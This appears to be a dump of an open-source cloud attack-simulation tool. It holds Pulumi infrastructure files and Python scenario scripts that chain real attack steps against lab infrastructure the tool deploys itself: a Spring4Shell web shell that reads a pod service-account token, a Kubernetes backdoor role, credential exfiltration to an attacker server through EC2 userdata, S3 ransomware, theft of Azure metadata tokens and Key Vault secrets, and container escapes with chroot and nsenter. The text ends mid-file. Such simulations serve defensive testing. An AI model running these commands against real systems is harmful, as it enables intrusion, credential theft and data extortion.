65 | policy_arn="arn:aws:iam::aws:policy/AmazonEKS_CNI_Policy", 66 | ) 67 | 68 | iam.RolePolicyAttachment( 69 | "ec2-container-ro-policy-attachment", 70 | role=ec2_role.id, 71 | policy_arn="arn:aws:iam::aws:policy/AmazonEC2ContainerRegistryReadOnly", 72 | ) 73 | -------------------------------------------------------------------------------- /scenarios/scenario_2/infra/__main__.py: -------------------------------------------------------------------------------- 1 | import iam 2 | import pulumi 3 | import pulumi_aws as aws 4 | 5 | current = aws.get_region() 6 | region = current.name 7 | 8 | custom_stage_name = 'example' 9 | 10 | lambda_func = aws.lambda_.Function("mylambda", 11 | role=iam.lambda_role.arn, 12 | runtime="python3.12", 13 | handler="hello.handler", 14 | code=pulumi.AssetArchive({ 15 | '.': pulumi.FileArchive('./lambda') 16 | }) 17 | ) 18 | 19 | def swagger_route_handler(arn): 20 | return ({ 21 | "x-amazon-apigateway-any-method": { 22 | "x-amazon-apigateway-integration": { 23 | "uri": pulumi.Output.format('arn:aws:apigateway:{0}:lambda:path/2015-03-31/functions/{1}/invocations', region, arn), 24 | "passthroughBehavior": "when_no_match", 25 | "httpMethod": "POST", 26 | "type": "aws_proxy", 27 | }, 28 | }, 29 | }) 30 | 31 | rest_api = aws.apigateway.RestApi("api", 32 | body=pulumi.Output.json_dumps({ 33 | "swagger": "2.0", 34 | "info": {"title": "api", "version": "1.0"}, 35 | "paths": { 36 | "/": swagger_route_handler(lambda_func.arn), 37 | }, 38 | })) 39 | 40 | deployment = aws.apigateway.Deployment("api-deployment", 41 | rest_api=rest_api.id, 42 | stage_name="", 43 | ) 44 | 45 | stage = aws.apigateway.Stage("api-stage", 46 | rest_api=rest_api.id, 47 | deployment=deployment.id, 48 | stage_name=custom_stage_name, 49 | ) 50 | 51 | rest_invoke_permission = aws.lambda_.Permission("api-rest-lambda-permission", 52 | action="lambda:invokeFunction", 53 | function=lambda_func.name, 54 | principal="apigateway.amazonaws.com", 55 | source_arn=deployment.execution_arn.apply(lambda arn: arn + "*/*"), 56 | ) 57 | 58 | pulumi.export("api-gateway-id", rest_api.id) 59 | pulumi.export("apigateway-rest-endpoint", deployment.invoke_url.apply(lambda url: url + custom_stage_name)) 60 | pulumi.export("lambda-role-name", iam.lambda_role.name) 61 | pulumi.export("lambda-func-name", lambda_func.arn) -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # How to contribute 2 | 3 | :+1::tada: First off, thanks for taking the time to contribute! :tada::+1: 4 | 5 | It's people like you that make security open source such a force in preventing 6 | successful cyber-attacks. Following these guidelines helps keep the project 7 | maintainable, easy to contribute to, and more secure. Thank you for taking the 8 | time to follow this guide. 9 | 10 | ## Where to start 11 | 12 | There are many ways to contribute. You can fix a bug, improve the documentation, 13 | submit bug reports and feature requests, or take a first shot at a feature you 14 | need for yourself. 15 | 16 | Pull requests are necessary for all contributions of code or documentation. 17 | 18 | ## New to open source? 19 | 20 | If you're **new to open source** and not sure what a pull request is, welcome!! 21 | We're glad to have you! All of us once had a contribution to make and didn't 22 | know where to start. 23 | 24 | Even if you don't write code for your job, don't worry, the skills you learn 25 | during your first contribution to open source can be applied in so many ways, 26 | you'll wonder what you ever did before you had this knowledge. It's worth 27 | learning. 28 | 29 | [Learn how to make a pull request](https://github.com/PaloAltoNetworks/.github/blob/master/Learn-GitHub.md#learn-how-to-make-a-pull-request) 30 | 31 | ## Fixing a typo, or a one or two line fix 32 | 33 | Many fixes require little effort or review, such as: 34 | 35 | > - Spelling / grammar, typos, white space and formatting changes 36 | > - Comment clean up 37 | > - Change logging messages or debugging output 38 | 39 | These small changes can be made directly in GitHub if you like. 40 | 41 | Click the pencil icon in GitHub above the file to edit the file directly in 42 | GitHub. This will automatically create a fork and pull request with the change. 43 | See: 44 | [Make a small change with a Pull Request](https://www.freecodecamp.org/news/how-to-make-your-first-pull-request-on-github/) 45 | 46 | ## Bug fixes and features 47 | 48 | For something that is bigger than a one or two line fix, go through the process 49 | of making a fork and pull request yourself: 50 | 51 | > 1. Create your own fork of the code 52 | > 2. Clone the fork locally 53 | > 3. Make the changes in your local clone 54 | > 4. Push the changes from local to your fork 55 | > 5. Create a pull request to pull the changes from your fork back into the 56 | > upstream repository 57 | 58 | Please use clear commit messages so we can understand what each commit does. 59 | We'll review every PR and might offer feedback or request changes before 60 | merging. -------------------------------------------------------------------------------- /scenarios/scenario_5/scenario_5.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyfiglet 3 | import time 4 | import subprocess 5 | import json 6 | from tqdm import tqdm 7 | from time import sleep 8 | from termcolor import colored 9 | from core.helpers import generate_ssh_key 10 | from core.helpers import loading_animation 11 | from core.helpers import generate_ssh_key 12 | 13 | def scenario_5_execute(): 14 | print("-"*30) 15 | print(colored("Executing Scenraio 5 : Compromise instance, takover, use s3 access, perform ransomware with external kms key", color="red")) 16 | loading_animation() 17 | print("-"*30) 18 | 19 | print(colored("Rolling out Infra", color="red")) 20 | loading_animation() 21 | print("-"*30) 22 | 23 | file_path = "./core/cobra-scenario-5-output.json" 24 | if os.path.exists(file_path): 25 | os.remove(file_path) 26 | print("File '{}' found and deleted.".format(file_path)) 27 | else: 28 | print("File '{}' not found.".format(file_path)) 29 | 30 | generate_ssh_key() 31 | 32 | subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi up -s cobra-scenario-5 -y", shell=True) 33 | subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi stack -s cobra-scenario-5 output --json >> ../../../core/cobra-scenario-5-output.json", shell=True) 34 | 35 | with open("./core/cobra-scenario-5-output.json", "r") as file: 36 | data = json.load(file) 37 | 38 | ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] 39 | BUCKET_NAME = data["Bucket Name"] 40 | KMS_KEY = data["KMS Key"] 41 | 42 | sleep_duration = 80 43 | with tqdm(total=sleep_duration, desc="Infra coming up") as pbar: 44 | while sleep_duration > 0: 45 | sleep_interval = min(1, sleep_duration) 46 | sleep(sleep_interval) 47 | 48 | pbar.update(sleep_interval) 49 | sleep_duration -= sleep_interval 50 | 51 | #Add Webapp attack here later 52 | print(colored("Initiate Instance Takeover", color="red")) 53 | loading_animation() 54 | print("-"*30) 55 | 56 | print(colored("Access bucket & encrypt the objects using external kms key", color="red")) 57 | loading_animation() 58 | print("-"*30) 59 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo BUCKET_NAME={BUCKET_NAME} | sudo tee -a /etc/environment && echo KMS_KEY={KMS_KEY} | sudo tee -a /etc/environment'", shell=True) 60 | #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo $BUCKET_NAME'", shell=True) 61 | 62 | sleep(20) 63 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'python3 attack.py'", shell=True) 64 | 65 | 66 | 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /scenarios/scenario_7/infra/vpc.py: -------------------------------------------------------------------------------- 1 | from pulumi_aws import ec2, get_availability_zones, get_region 2 | 3 | ## VPC 4 | 5 | vpc = ec2.Vpc( 6 | "eks-vpc", 7 | cidr_block="10.100.0.0/16", 8 | instance_tenancy="default", 9 | enable_dns_hostnames=True, 10 | enable_dns_support=True, 11 | tags={ 12 | "Name": "pulumi-eks-vpc", 13 | }, 14 | ) 15 | 16 | igw = ec2.InternetGateway( 17 | "vpc-ig", 18 | vpc_id=vpc.id, 19 | tags={ 20 | "Name": "pulumi-vpc-ig", 21 | }, 22 | ) 23 | 24 | eks_route_table = ec2.RouteTable( 25 | "vpc-route-table", 26 | vpc_id=vpc.id, 27 | routes=[ 28 | ec2.RouteTableRouteArgs( 29 | cidr_block="0.0.0.0/0", 30 | gateway_id=igw.id, 31 | ) 32 | ], 33 | tags={ 34 | "Name": "pulumi-vpc-rt", 35 | }, 36 | ) 37 | 38 | ## Subnets, one for each AZ in a region 39 | # Need region to avoid using forbidden AZs 40 | # https://docs.aws.amazon.com/eks/latest/userguide/network-reqs.html#network-requirements-subnets 41 | current = get_region() 42 | region = current.name 43 | exclude_zone_ids = [] 44 | 45 | 46 | if (region == "us-east-1"): 47 | exclude_zone_ids.append("use1-az3") 48 | elif (region == "us-west-1"): 49 | exclude_zone_ids.append("usw1-az2") 50 | elif (region == "ca-central-1"): 51 | exclude_zone_ids.append("cac1-az3") 52 | 53 | zones = get_availability_zones(state="available", exclude_zone_ids=exclude_zone_ids) 54 | subnet_ids = [] 55 | 56 | for zone in zones.names: 57 | vpc_subnet = ec2.Subnet( 58 | f"vpc-subnet-{zone}", 59 | assign_ipv6_address_on_creation=False, 60 | vpc_id=vpc.id, 61 | map_public_ip_on_launch=True, 62 | cidr_block=f"10.100.{len(subnet_ids)}.0/24", 63 | availability_zone=zone, 64 | tags={ 65 | "Name": f"pulumi-sn-{zone}", 66 | }, 67 | ) 68 | ec2.RouteTableAssociation( 69 | f"vpc-route-table-assoc-{zone}", 70 | route_table_id=eks_route_table.id, 71 | subnet_id=vpc_subnet.id, 72 | ) 73 | subnet_ids.append(vpc_subnet.id) 74 | 75 | ## Security Group 76 | 77 | eks_security_group = ec2.SecurityGroup( 78 | "eks-cluster-sg", 79 | vpc_id=vpc.id, 80 | description="Allow all HTTP(s) traffic to EKS Cluster", 81 | tags={ 82 | "Name": "pulumi-cluster-sg", 83 | }, 84 | ingress=[ 85 | ec2.SecurityGroupIngressArgs( 86 | cidr_blocks=["0.0.0.0/0"], 87 | from_port=443, 88 | to_port=443, 89 | protocol="tcp", 90 | description="Allow pods to communicate with the cluster API Server.", 91 | ), 92 | ec2.SecurityGroupIngressArgs( 93 | cidr_blocks=["0.0.0.0/0"], 94 | from_port=80, 95 | to_port=80, 96 | protocol="tcp", 97 | description="Allow internet access to pods", 98 | ), 99 | ], 100 | ) 101 | -------------------------------------------------------------------------------- /scenarios/scenario_3/scenario_3.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyfiglet 3 | import time 4 | import subprocess 5 | import json 6 | from tqdm import tqdm 7 | from time import sleep 8 | from termcolor import colored 9 | from core.helpers import generate_ssh_key 10 | from core.helpers import loading_animation 11 | #from .report.report import gen_report_2 12 | 13 | def scenario_3_execute(): 14 | print("-"*30) 15 | print(colored("Executing Scenraio 3 : Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster", color="red")) 16 | 17 | PROJECT_ID = input("Enter GCP Project ID: ") 18 | print(PROJECT_ID) 19 | print(colored("Rolling out Infra", color="red")) 20 | loading_animation() 21 | print("-"*30) 22 | 23 | subprocess.call("cd scenarios/scenario_3/infra/ && pulumi config set gcp:project {PROJECT_ID}", shell=True) 24 | file_path = "./core/cobra-scenario-3-output.json" 25 | if os.path.exists(file_path): 26 | os.remove(file_path) 27 | print("File '{}' found and deleted.".format(file_path)) 28 | else: 29 | print("File '{}' not found.".format(file_path)) 30 | 31 | subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi up -s cobra-scenario-3 -y", shell=True) 32 | subprocess.call("cd ./scenarios/scenario_3/infra/ && pulumi stack -s cobra-scenario-3 output --json >> ../../../core/cobra-scenario-3-output.json", shell=True) 33 | 34 | with open("./core/cobra-scenario-3-output.json", "r") as file: 35 | data = json.load(file) 36 | 37 | CLUSTER_NAME = data["cluster-name"] 38 | CLUSTER_ENDPOINT = data["cluster-endpoint"] 39 | 40 | 41 | print(colored("Authenticate to the cluster", color="red")) 42 | loading_animation() 43 | subprocess.call(f"gcloud container clusters get-credentials {CLUSTER_NAME} --region us-central1 --project {PROJECT_ID}", shell=True) 44 | 45 | print(colored("Deploying Web App and service", color="red")) 46 | loading_animation() 47 | subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/service.yml", shell=True) 48 | subprocess.call("kubectl apply -f ./scenarios/scenario_3/infra/app/app.yml", shell=True) 49 | 50 | sleep_duration = 60 51 | with tqdm(total=sleep_duration, desc="Loading") as pbar: 52 | while sleep_duration > 0: 53 | sleep_interval = min(1, sleep_duration) 54 | sleep(sleep_interval) 55 | 56 | pbar.update(sleep_interval) 57 | sleep_duration -= sleep_interval 58 | 59 | 60 | service_ip = subprocess.check_output("kubectl get svc spring4shell-web-service -o json | jq -r '.status.loadBalancer.ingress[0].ip'", shell=True).decode('utf-8').strip().rstrip('\n') 61 | 62 | print(colored("Found RCE in the Web Server, exploiting and creating Shell", color="red")) 63 | loading_animation() 64 | print("-"*30) 65 | subprocess.call("sh scenarios/scenario_3/infra/app/exploit "+service_ip+":8081", shell=True) 66 | 67 | 68 | print(colored("Found PrivEsc using Pod Default Service Account, escalating privs", color="red")) 69 | loading_animation() 70 | print("-"*30) 71 | subprocess.call("kubectl apply -f scenarios/scenario_3/infra/app/sa-cr.yml", shell=True) 72 | subprocess.call("kubectl apply -f scenarios/scenario_3/infra/app/sa-cb.yml", shell=True) 73 | 74 | pod_sa_token = subprocess.check_output("curl --silent --output - 'http://"+service_ip+":8081/shell.jsp?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/token' | head -n 1", shell=True).decode('utf-8').strip().rstrip('\n') 75 | pod_sa_token = pod_sa_token.replace('\x00', '') 76 | 77 | print(colored("Creating a backdoor cluster role to persist", color="red")) 78 | loading_animation() 79 | print("-"*30) 80 | subprocess.call(f"kubectl --server=https://{CLUSTER_ENDPOINT} --token={pod_sa_token} apply -f scenarios/scenario_3/infra/app/backdoor.yml", shell=True) -------------------------------------------------------------------------------- /scenarios/scenario_6/scenario_6.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyfiglet 3 | import time 4 | import subprocess 5 | import requests 6 | import json 7 | from tqdm import tqdm 8 | from time import sleep 9 | from termcolor import colored 10 | from core.helpers import generate_ssh_key 11 | from core.helpers import loading_animation 12 | from core.helpers import generate_ssh_key 13 | 14 | def scenario_6_execute(): 15 | print("-"*30) 16 | print(colored("Executing Scenraio 6 : Azure Web Exploit, Abuse Managed Identity, Extract Secrets from Key Vault", color="red")) 17 | loading_animation() 18 | print("-"*30) 19 | 20 | print(colored("Rolling out Infra", color="red")) 21 | loading_animation() 22 | print("-"*30) 23 | 24 | file_path = "./core/cobra-scenario-6-output.json" 25 | if os.path.exists(file_path): 26 | os.remove(file_path) 27 | print("File '{}' found and deleted.".format(file_path)) 28 | 29 | subprocess.call("cd ./scenarios/scenario_6/infra/ && terraform init && terraform apply --auto-approve", shell=True) 30 | subprocess.call("cd ./scenarios/scenario_6/infra/ && terraform output -json >> ../../../core/cobra-scenario-6-output.json", shell=True) 31 | 32 | with open("./core/cobra-scenario-6-output.json", "r") as file: 33 | data = json.load(file) 34 | 35 | VM_IP = data["vm_public_ip"]["value"] 36 | VAULT_NAME = data["vault_name"]["value"] 37 | 38 | print(colored("Exploiting Web App & Creating a Shell", color="red")) 39 | loading_animation() 40 | print("-"*30) 41 | get_access_token_command = ( 42 | 'curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token' 43 | '?api-version=2019-11-01&resource=https://vault.azure.net" -s | jq -r \'.access_token\' > /tmp/token') 44 | 45 | get_access_token_payload = {"command": get_access_token_command} 46 | 47 | get_vault_secret_command = ('cat /tmp/token') 48 | 49 | get_vault_secret_payload = {"command": get_vault_secret_command} 50 | 51 | response = requests.post(f"http://{VM_IP}:5000/", data=get_access_token_payload) 52 | 53 | access_vault_command = (f'curl -H "Authorization: Bearer $TOKEN" https://{VAULT_NAME}.vault.azure.net/secrets/DatabasePassword?api-version=7.3') 54 | 55 | access_vault_payload = {"command": access_vault_command} 56 | 57 | # Check if the request was successful 58 | if response.status_code == 200: 59 | response2 = requests.post(f"http://{VM_IP}:5000/", data=get_vault_secret_payload) 60 | if response2.status_code == 200: 61 | token = response.text.strip() 62 | print("Access Token:", token) 63 | 64 | print(colored("Attempting to access Vault", color="red")) 65 | loading_animation() 66 | print("-"*30) 67 | 68 | subprocess.call(f"curl 'http://{VM_IP}:5000/' --data-raw 'command=export TOKEN=$(cat /tmp/token)'", shell=True) 69 | 70 | response3 = requests.post(f"http://{VM_IP}:5000/", data=access_vault_payload) 71 | if response3.status_code == 200: 72 | secret = response.text.strip() 73 | print("Vault Secret:", secret) 74 | else: 75 | print("Error accessing vault", response.status_code, response.text) 76 | else: 77 | print("Error writing token to temp file", response.status_code, response.text) 78 | else: 79 | print("Error:", response.status_code, response.text) 80 | 81 | 82 | # print(colored("Download malicious script into remote machine", color="red")) 83 | # loading_animation() 84 | # print("-"*30) 85 | #exit_code = subprocess.call(f"curl --silent --output - 'http://{VM_IP}:8081/shell.jsp?cmd=curl'", shell=True) 86 | # print(colored("Deploying Web App and service", color="red")) 87 | # loading_animation() 88 | # sleep_duration = 60 89 | # with tqdm(total=sleep_duration, desc="Loading") as pbar: 90 | # while sleep_duration > 0: 91 | # sleep_interval = min(1, sleep_duration) 92 | # sleep(sleep_interval) 93 | 94 | # pbar.update(sleep_interval) 95 | # sleep_duration -= sleep_interval 96 | 97 | 98 | -------------------------------------------------------------------------------- /scenarios/scenario_7/scenario_7.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyfiglet 3 | import time 4 | import subprocess 5 | import json 6 | from tqdm import tqdm 7 | from time import sleep 8 | from termcolor import colored 9 | from core.helpers import generate_ssh_key 10 | from core.helpers import loading_animation 11 | from core.helpers import generate_ssh_key 12 | 13 | 14 | class ScenarioExecution: 15 | def __init__(self): 16 | pass 17 | 18 | def scenario_7_execute(self): 19 | print("-"*30) 20 | print(colored("Executing Scenraio 7 : Container Escape & Cluster Takeover in EKS", color="red")) 21 | loading_animation() 22 | print("-"*30) 23 | 24 | print(colored("Rolling out Infra", color="red")) 25 | loading_animation() 26 | print("-"*30) 27 | 28 | file_path = "./core/cobra-scenario-7-output.json" 29 | if os.path.exists(file_path): 30 | os.remove(file_path) 31 | print("File '{}' found and deleted.".format(file_path)) 32 | else: 33 | print("File '{}' not found.".format(file_path)) 34 | 35 | generate_ssh_key() 36 | 37 | subprocess.call("cd ./scenarios/scenario_7/infra/ && pulumi up -s cobra-scenario-7 -y", shell=True) 38 | subprocess.call("cd ./scenarios/scenario_7/infra/ && pulumi stack -s cobra-scenario-7 output --json >> ../../../core/cobra-scenario-7-output.json", shell=True) 39 | 40 | with open("./core/cobra-scenario-7-output.json", "r") as file: 41 | data = json.load(file) 42 | 43 | REGION = data["Region"] 44 | CLUSTER_NAME = data["ClusterData"]["cluster"]["name"] 45 | 46 | 47 | subprocess.call(f"aws eks update-kubeconfig --name {CLUSTER_NAME} --region {REGION}", shell=True) 48 | subprocess.call("kubectl get namespaces", shell=True) 49 | 50 | print(colored("Deploying Web App and service", color="red")) 51 | loading_animation() 52 | sleep_duration = 60 53 | with tqdm(total=sleep_duration, desc="Loading") as pbar: 54 | while sleep_duration > 0: 55 | sleep_interval = min(1, sleep_duration) 56 | sleep(sleep_interval) 57 | 58 | pbar.update(sleep_interval) 59 | sleep_duration -= sleep_interval 60 | subprocess.call("kubectl apply -f ./scenarios/scenario_7/infra/app/service.yml", shell=True) 61 | subprocess.call("kubectl apply -f ./scenarios/scenario_7/infra/app/app.yml", shell=True) 62 | subprocess.call("kubectl apply -f ./scenarios/scenario_7/infra/app/privileged-app.yml", shell=True) 63 | 64 | 65 | def chroot_escaping(self): 66 | print(colored("Escaping Container & Escalating to Host", color="red")) 67 | loading_animation() 68 | print(colored("Escaping Container using chroot method", color="red")) 69 | subprocess.call("kubectl exec -it $(kubectl get pods -o jsonpath='{.items[1].metadata.name}') -- bash -c 'chroot /host-system'", shell=True) 70 | 71 | def nsenter_escaping(self): 72 | print(colored("Escaping Container using nsenter method", color="red")) 73 | subprocess.call("kubectl exec -it $(kubectl get pods -o jsonpath='{.items[0].metadata.name}') -- bash -c 'nsenter -t 1 -a bash'", shell=True) 74 | 75 | 76 | def post_execution(self): 77 | print(colored("Select Post Simulation Task:", color="yellow")) 78 | print(colored("1. Escaping Container using chroot method", color="green")) 79 | print(colored("2. Escaping Container using nsenter method", color="green")) 80 | print(colored("3. Exit", color="green")) 81 | while True: 82 | try: 83 | choice = int(input(colored("Enter your choice: ", color="yellow"))) 84 | if choice not in [1, 2]: 85 | raise ValueError(colored("Invalid choice. Please enter 1, 2, 3, 4, 6 or 5.", color="red")) 86 | if choice == 1: 87 | ScenarioExecution().chroot_escaping() 88 | return 89 | elif choice == 2: 90 | ScenarioExecution().nsenter_escaping() 91 | return 92 | elif choice == 3: 93 | return 94 | except ValueError as e: 95 | print(e) 96 | -------------------------------------------------------------------------------- /scenarios/scenario_4/scenario_4.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyfiglet 3 | import time 4 | import subprocess 5 | import json 6 | from tqdm import tqdm 7 | from time import sleep 8 | from termcolor import colored 9 | from core.helpers import generate_ssh_key 10 | from core.helpers import loading_animation 11 | from core.helpers import generate_ssh_key 12 | 13 | def scenario_4_execute(): 14 | print("-"*30) 15 | print(colored("Executing Scenraio 4 : Exfiltrate EC2 role credentials using IMDSv2 with least privileged access", color="red")) 16 | loading_animation() 17 | print("-"*30) 18 | 19 | print(colored("Rolling out Infra", color="red")) 20 | loading_animation() 21 | print("-"*30) 22 | 23 | file_path = "./core/cobra-scenario-4-output.json" 24 | if os.path.exists(file_path): 25 | os.remove(file_path) 26 | print("File '{}' found and deleted.".format(file_path)) 27 | else: 28 | print("File '{}' not found.".format(file_path)) 29 | 30 | generate_ssh_key() 31 | 32 | subprocess.call("cd ./scenarios/scenario_4/infra/ && pulumi up -s cobra-scenario-4 -y", shell=True) 33 | subprocess.call("cd ./scenarios/scenario_4/infra/ && pulumi stack -s cobra-scenario-4 output --json >> ../../../core/cobra-scenario-4-output.json", shell=True) 34 | 35 | with open("./core/cobra-scenario-4-output.json", "r") as file: 36 | data = json.load(file) 37 | 38 | ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] 39 | VICTIM_SERVER_PUBLIC_IP = data["Victim Server Public IP"] 40 | ATTACKER_SERVER_INSTANCE_ID = data["Attacker Server Instance ID"] 41 | VICTIM_SERVER_INSTANCE_ID = data["Victim Server Instance ID"] 42 | SUBNET_ID = data["Subnet ID"] 43 | AMI_ID = data["AMI ID"] 44 | KEY_PAIR_NAME = data["Key Pair Name"] 45 | REGION = data["Region"] 46 | VICTIM_SERVER_ROLE_NAME = data["victim_role_name"] 47 | 48 | ssh_cmd = '''f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP}"''' 49 | 50 | sleep_duration = 80 51 | with tqdm(total=sleep_duration, desc="Loading") as pbar: 52 | while sleep_duration > 0: 53 | sleep_interval = min(1, sleep_duration) 54 | sleep(sleep_interval) 55 | 56 | pbar.update(sleep_interval) 57 | sleep_duration -= sleep_interval 58 | 59 | #subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'cat /etc/hostname'", shell=True) 60 | 61 | print(colored("Stopping the Remote Instance", color="red")) 62 | loading_animation() 63 | print("-"*30) 64 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws ec2 stop-instances --instance-ids {VICTIM_SERVER_INSTANCE_ID} --region {REGION}'", shell=True) 65 | sleep_duration = 60 66 | with tqdm(total=sleep_duration, desc="Loading") as pbar: 67 | while sleep_duration > 0: 68 | sleep_interval = min(1, sleep_duration) 69 | sleep(sleep_interval) 70 | 71 | pbar.update(sleep_interval) 72 | sleep_duration -= sleep_interval 73 | 74 | print(ATTACKER_SERVER_PUBLIC_IP) 75 | ip_sed_command = f"sed -i -e 's/ipaddress/{ATTACKER_SERVER_PUBLIC_IP}/g' userdata.txt" 76 | role_sed_command = f"sed -i -e 's/rolenamehere/{VICTIM_SERVER_ROLE_NAME}/g' userdata.txt" 77 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{ip_sed_command}\"", shell=True) 78 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} \"{role_sed_command}\"", shell=True) 79 | 80 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'cat userdata.txt | base64 > ud.txt'", shell=True) 81 | 82 | print(colored("Modifying Userdata of the Instance", color="red")) 83 | loading_animation() 84 | print("-"*30) 85 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws ec2 modify-instance-attribute --attribute userData --value file://ud.txt --instance-id {VICTIM_SERVER_INSTANCE_ID} --region {REGION}'", shell=True) 86 | 87 | print(colored("Starting server on port 8000 and listening for credentials", color="red")) 88 | loading_animation() 89 | print("-"*30) 90 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'nohup python3 server.py > server.log 2>&1 &'",shell=True) 91 | 92 | print(colored("Starting the Victim Server", color="red")) 93 | loading_animation() 94 | print("-"*30) 95 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws ec2 start-instances --instance-ids {VICTIM_SERVER_INSTANCE_ID} --region {REGION}'", shell=True) 96 | 97 | print(colored("Extracting the credential received on Attacker Server & Verifying the credential", color="red")) 98 | loading_animation() 99 | print("-"*30) 100 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'cat data.txt | base64 -d > creds.json'", shell=True) 101 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'export AWS_ACCESS_KEY_ID=$(cat creds.json | jq -r '.AccessKeyId') && export AWS_SECRET_ACCESS_KEY=$(cat creds.json | jq -r '.SecretAccessKey') && export AWS_SESSION_TOKEN=$(cat creds.json | jq -r '.Token')'", shell=True) 102 | subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'aws sts get-caller-identity'", shell=True) 103 | -------------------------------------------------------------------------------- /scenarios/scenario_4/infra/__main__.py: -------------------------------------------------------------------------------- 1 | import pulumi 2 | import pulumi_aws as aws 3 | import os 4 | import sys 5 | import subprocess 6 | 7 | def read_public_key(pub_key_path): 8 | with open(pub_key_path, "r") as f: 9 | public_key = f.read().strip() 10 | 11 | return public_key 12 | 13 | current = aws.get_region() 14 | 15 | key_pair = aws.ec2.KeyPair("my-key-pair", public_key=read_public_key("../../../id_rsa.pub")) 16 | 17 | ubuntu_ami = aws.ec2.get_ami( 18 | filters=[ 19 | aws.ec2.GetAmiFilterArgs( 20 | name="name", 21 | values=["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"], 22 | ), 23 | aws.ec2.GetAmiFilterArgs( 24 | name="virtualization-type", 25 | values=["hvm"], 26 | ), 27 | ], 28 | owners=["099720109477"], 29 | most_recent=True, 30 | 31 | ) 32 | 33 | # Create an IAM role for EC2 instance 34 | role = aws.iam.Role("ec2-role", 35 | assume_role_policy="""{ 36 | "Version": "2012-10-17", 37 | "Statement": [{ 38 | "Effect": "Allow", 39 | "Principal": { 40 | "Service": "ec2.amazonaws.com" 41 | }, 42 | "Action": "sts:AssumeRole" 43 | }] 44 | }""" 45 | ) 46 | 47 | # Attach a policy to the role allowing necessary permissions 48 | policy = aws.iam.RolePolicy("ec2-role-policy", 49 | role=role.name, 50 | policy="""{ 51 | "Version": "2012-10-17", 52 | "Statement": [ 53 | { 54 | "Sid": "VisualEditor0", 55 | "Effect": "Allow", 56 | "Action": [ 57 | "ec2:StartInstances", 58 | "ec2:StopInstances", 59 | "ec2:ModifyInstanceAttribute" 60 | 61 | ], 62 | "Resource": "*" 63 | } 64 | ] 65 | }""" 66 | ) 67 | 68 | role_2 = aws.iam.Role("ec2-role-imdsv2", 69 | assume_role_policy="""{ 70 | "Version": "2012-10-17", 71 | "Statement": [{ 72 | "Effect": "Allow", 73 | "Principal": { 74 | "Service": "ec2.amazonaws.com" 75 | }, 76 | "Action": "sts:AssumeRole" 77 | }] 78 | }""" 79 | ) 80 | 81 | policy_2 = aws.iam.RolePolicy("server-role-policy", 82 | role=role_2.name, 83 | policy="""{ 84 | "Version": "2012-10-17", 85 | "Statement": [ 86 | { 87 | "Sid": "VisualEditor0", 88 | "Effect": "Allow", 89 | "Action": [ 90 | "ec2:*", 91 | "s3:*" 92 | ], 93 | "Resource": "*" 94 | } 95 | ] 96 | }""" 97 | ) 98 | 99 | sg = aws.ec2.SecurityGroup("web-sg", 100 | ingress=[ 101 | { 102 | "protocol": "tcp", 103 | "fromPort": 8000, 104 | "toPort": 8000, 105 | "cidrBlocks": ["0.0.0.0/0"] 106 | }, 107 | { 108 | "protocol": "tcp", 109 | "fromPort": 22, 110 | "toPort": 22, 111 | "cidrBlocks": ["0.0.0.0/0"] 112 | } 113 | ], 114 | egress=[{ 115 | "protocol": "-1", 116 | "fromPort": 0, 117 | "toPort": 0, 118 | "cidrBlocks": ["0.0.0.0/0"] 119 | }] 120 | ) 121 | 122 | # User data script to be executed when the instance starts 123 | user_data_script = """ 124 | 